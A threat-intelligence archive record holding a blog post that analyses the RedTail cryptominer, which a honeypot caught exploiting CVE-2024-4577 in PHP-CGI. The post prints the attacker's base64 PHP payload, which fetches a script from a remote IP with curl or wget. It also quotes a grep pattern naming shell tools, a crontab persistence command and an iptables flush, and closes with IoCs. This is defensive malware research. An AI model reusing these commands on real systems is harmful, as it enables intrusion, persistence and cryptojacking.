{
	"id": "3740ec5c-754e-47f8-a771-cfb290eb7855",
	"created_at": "2026-04-06T00:06:21.44193Z",
	"updated_at": "2026-04-10T03:24:18.138449Z",
	"deleted_at": null,
	"sha1_hash": "eee883f355cda70d1a099078c70c915c20855b1e",
	"title": "How Long Can a Vulnerable Server Stay Clean on the Internet? A Honeypot Tale – Securite360",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 5039392,
	"plain_text": "How Long Can a Vulnerable Server Stay Clean on the Internet? A\r\nHoneypot Tale – Securite360\r\nBy Muffin\r\nArchived: 2026-04-05 15:09:01 UTC\r\nI am often asked how long an exposed machine can remain connected before being targeted. Just the other day, I was\r\nreviewing the initial results of an honeypot I had set up only minutes earlier when I noticed the first exploitation attempts.\r\nAnd, of course, it was a cryptominer.\r\nFirst stage\r\nIn this case, the attacker was automatically trying to exploit CVE-2024-4577, which affects certain versions of PHP 8 when\r\nusing Apache and PHP-CGI on Windows.\r\nThe Base64-encoded payload was as follows: '\u003c?php\r\nshell_exec(base64_decode(\"\"WD0kKGN1cmwgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIHx8IHdnZXQgaHR0cDovLzk0LjE1Ni4xNzcuMTA5L3NoIC1PLSk7IGVjaG8gIiRYIi\r\n'=\"\")); echo(md5(\"\"Hello CVE-2024-4577\"\")); ?\u003e'\r\nUsing CyberChef, it is possible to decode this payload:\r\nhttps://securite360.net/how-long-can-a-vulnerable-server-stay-clean-on-the-internet-a-honeypot-tale\r\nPage 1 of 8\n\nIt then becomes trivial to retrieve the address of the first-stage payload, which is a .sh script. I have added comments to\r\nthis script for better clarity:\r\nSecond stage payloads\r\nThis script is used to download, in turn, another script (named clean), which the attacker uses to remove previous malicious\r\nactivity, as well as a second-stage binary for malicious purposes. The script checks for and bypasses noexec restrictions to\r\nfind a directory where execution is allowed.\r\nTo download the aforementioned files, it employs multiple methods (wget, curl, or a direct TCP socket), likely to avoid\r\nreliance on specific programs.\r\nThe cleaner script is primarily used to remove c3pool_miner, another cryptominer that may have previously infected the\r\nmachine and could be running as a service.\r\nhttps://securite360.net/how-long-can-a-vulnerable-server-stay-clean-on-the-internet-a-honeypot-tale\r\nPage 2 of 8\n\nFigure: cleaning bash script\r\nThe malware also deletes the existing crontab, likely to remove any previously installed cryptominer running on the target.\r\nIn particular, the command:\r\ngrep -vE 'wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d' \"$1\"\r\nappears to be designed to remove lines containing suspicious commands commonly used by malware (wget, curl, nc,\r\nbase64, etc.).\r\nThe first-stage payload then checks the architecture of the target to deliver an appropriate payload that will be executable on\r\nit. This ensures compatibility across various environments and architectures. Finally, the next-stage payload is renamed\r\nredtail and executed.\r\nLast stage payload\r\nI chose to focus my investigation on the sample named x86_64. According to static analysis, this binary is packed using\r\nUPX.\r\nhttps://securite360.net/how-long-can-a-vulnerable-server-stay-clean-on-the-internet-a-honeypot-tale\r\nPage 3 of 8\n\nFigure: the final payload is encrypted using UPX\r\nIt is then easy to decrypt it and gather more information about the malware.\r\nFigure: decrypting the UPX encrypted payload\r\nThe binary is a 64-bit .ELF executable written in C (though you probably already guessed the 64-bit part from the file\r\nname itself…).\r\nFigure: decrypted payload’s information\r\nThe file is flagged as malicious by several antivirus programs on VirusTotal and is identified by multiple vendors as a\r\nhttps://securite360.net/how-long-can-a-vulnerable-server-stay-clean-on-the-internet-a-honeypot-tale\r\nPage 4 of 8\n\ncryptominer.\r\nFigure: Antivirus detection of the binary on VirusTotal.\r\nI am not a specialist, but several strings appear to reference various implementations or variants of the CryptoNight hashing\r\nalgorithm, which is widely used in certain cryptocurrencies, most notably Monero.\r\nFigure: Cryptocurrencies related strings\r\nIt is also possible to infer from some of the strings within the malware the various cryptocurrencies the attacker is attempting\r\nto mine: Monero, Sumokoin, ArQma, Graft, Ravencoin, Wonwero, Zephyr, Townforge, YadaCoin, etc.\r\nLastly, several strings indicate that this malware is a variant of the infamous XMRig tool.\r\nFigure: strings related to XMRIG\r\nWhile searching the internet, I found several articles mentioning the malware we are investigating (see references). As\r\nAkamai puts it:\r\n« The threat actors embedded XMRig’s code into their own code and added their own logic before and after it. »\r\nAkamai Blog – 2024 Redtail Cryptominer PAN-OS CVE Exploit\r\nFeatures\r\nTo confirm Akamai’s findings, I delved into the code. To be clear, I did not analyze all of it. However, I spotted several\r\ninteresting functions. For example, using the commands C and S, the attacker seems to be able to view the malware’s\r\nconnection details and mining results, respectively.\r\nhttps://securite360.net/how-long-can-a-vulnerable-server-stay-clean-on-the-internet-a-honeypot-tale\r\nPage 5 of 8\n\nFigure: The attacker can print the top 10 mining results, the calculating difficulty and the effort percentage.\r\nThis feature can also be found in the XMRig code on GitHub:\r\nFigure: Screenshot of XMRig’s GitHub repository.\r\nFigure: The attacker can also print information about the connection.\r\nThis feature is also present in XMRIG code, as shown in the screenshot below:\r\nFigure: Screenshot of XMRig’s GitHub repository.\r\nSo, we can confirm with high confidence that XMRIG’s code was incorporated into the malware’s own code. However, the\r\nattacker did not merely copy XMRIG’s code; they also added additional capabilities.\r\nFor example, an interesting feature that I could not find in XMRIG’s code concerns the function sub_318DF0. This function\r\naccesses multiple system paths related to CPU frequency and capacity, likely to configure the infected machine in a way that\r\nmaximizes mining efficiency.\r\n/sys/devices/system/cpu/cpu%d/cpufreq/cpuinfo_max_freq\r\n/sys/devices/system/cpu/cpu%d/cpufreq/base_frequency\r\n/sys/devices/system/cpu/cpu%d/acpi_cppc/nominal_freq\r\n/sys/devices/system/cpu/cpu%d/cpu_capacity\r\n/sys/devices/cpu_atom/cpus\r\n/sys/devices/cpu_core/cpus\r\nThe thing is that a large part of the code remains encrypted, probably for obfuscation purposes. It is possible to spot several\r\ndecryption routines using hardcoded keys.\r\nhttps://securite360.net/how-long-can-a-vulnerable-server-stay-clean-on-the-internet-a-honeypot-tale\r\nPage 6 of 8\n\nFigure: decryption routine inside RedTails.\r\nI did not venture further into the realm of .ELF reversing, mainly because it is not my forte (in fact, I don’t have a forte at all\r\n^). Moreover, I did not want to spend too much time trying to understand the encryption mechanism protecting the\r\nmalware’s configuration. That’s why I opted for dynamic analysis on Any.Run.\r\nDynamic analysis revealed that the malware removes existing cron jobs and creates a new one to ensure that x86_64 is\r\nautomatically executed every time the system reboots—a typical persistence technique.\r\nsh -c \"crontab -r \u003e/dev/null 2\u003e\u00261; echo \\\"@reboot /tmp/x86_64\\.bin\\.elf\\\" | crontab -\"\r\nFrom what I could gather, the malware also delete all existing firewall rules and inserts a new rule to allow incoming TCP\r\nconnections on port 45971.\r\nsh -c \"iptables -F \u003e/dev/null 2\u003e\u00261; iptables -I INPUT -p tcp --dport 45971 -j ACCEPT \u003e/dev/null 2\u003e\u00261\"\r\nThanks to dynamic analysis, it is easy to identify the malware’s C2 server. The malware connects to this C2 server on port\r\n43782.\r\nFigure: C2 of the analysed RedTail.\r\nThe malware also tried to connect on port 2137 to the domain proxies.internetshadow[.]org, which was registered nine\r\nmonths ago.\r\nWhile the domain is not known for being malicious, it appears to have been resolved to a number of IP addresses flagged as\r\nmalicious.\r\nFigure: DNS relationships of proxies.internetshadow[.]org\r\nThis domain does not seem to be resolved at the moment. I don’t know, though, if this is some kind of (legitimate?) proxy\r\nbeing used for malicious purposes or if the domain name was chosen to blend into network traffic. Feel free to share any\r\ninformation you may have on this domain!\r\nA well-practiced technique\r\nAccording to several sources (ISC SANS, Akamai), the threat actor behind this miner is known for exploiting one-day\r\nvulnerabilities to gain an initial foothold on their targets.\r\nHowever, while I didn’t investigate too deeply, I did not find any prior references to CVE-2024-4577 in existing literature\r\n(though that may still be the case).\r\nIn this regard, it is worth noting that the attacker attempted to exploit multiple vulnerabilities on my honeypot, as shown in\r\nthe screenshot below.\r\nhttps://securite360.net/how-long-can-a-vulnerable-server-stay-clean-on-the-internet-a-honeypot-tale\r\nPage 7 of 8\n\nFigure: different attempt at exploitation of my honeypot\r\nConclusion:\r\nThe attacker tried to exploit several vulnerabilities to deploy its cryptominer. So, regarding the question of how long a\r\nvulnerable machine remains safe on the internet… the answer likely depends on the specific vulnerability, but a few minutes\r\nmay be enough for an attacker to compromise it. And among the most aggressive and potentially overlooked threats are\r\ncryptominers.\r\nIoCs:\r\nHash\r\n3e10d68be4081039f657a5ee55000ae46161185a\r\nDomain\r\nproxies.internetshadow[.]org\r\nIPv4\r\n219[.]153[.]12[.]42\r\n130[.]61[.]23[.]4,\r\n101[.]66[.]172[.]251\r\n94[.]156[.]177[.]109\r\n196[.]251[.]70[.]219\r\nReferences:\r\ngithub.com/altilunium/redtail\r\nisc.sans.edu/diary/Examining+Redtail+Analyzing+a+Sophisticated+Cryptomining+Malware+and+its+Advanced+Tactics+Guest+Diary/31568\r\nwww.akamai.com/blog/security-research/2024-redtail-cryptominer-pan-os-cve-exploit)\r\nwww.forescout.com/blog/new-redtail-malware-exploited-via-php-security-vulnerability/\r\nSource: https://securite360.net/how-long-can-a-vulnerable-server-stay-clean-on-the-internet-a-honeypot-tale\r\nhttps://securite360.net/how-long-can-a-vulnerable-server-stay-clean-on-the-internet-a-honeypot-tale\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://securite360.net/how-long-can-a-vulnerable-server-stay-clean-on-the-internet-a-honeypot-tale"
	],
	"report_names": [
		"how-long-can-a-vulnerable-server-stay-clean-on-the-internet-a-honeypot-tale"
	],
	"threat_actors": [
		{
			"id": "eb3f4e4d-2573-494d-9739-1be5141cf7b2",
			"created_at": "2022-10-25T16:07:24.471018Z",
			"updated_at": "2026-04-10T02:00:05.002374Z",
			"deleted_at": null,
			"main_name": "Cron",
			"aliases": [],
			"source_name": "ETDA:Cron",
			"tools": [
				"Catelites",
				"Catelites Bot",
				"CronBot",
				"TinyZBot"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775433981,
	"ts_updated_at": 1775791458,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/eee883f355cda70d1a099078c70c915c20855b1e.pdf",
		"text": "https://archive.orkl.eu/eee883f355cda70d1a099078c70c915c20855b1e.txt",
		"img": "https://archive.orkl.eu/eee883f355cda70d1a099078c70c915c20855b1e.jpg"
	}
}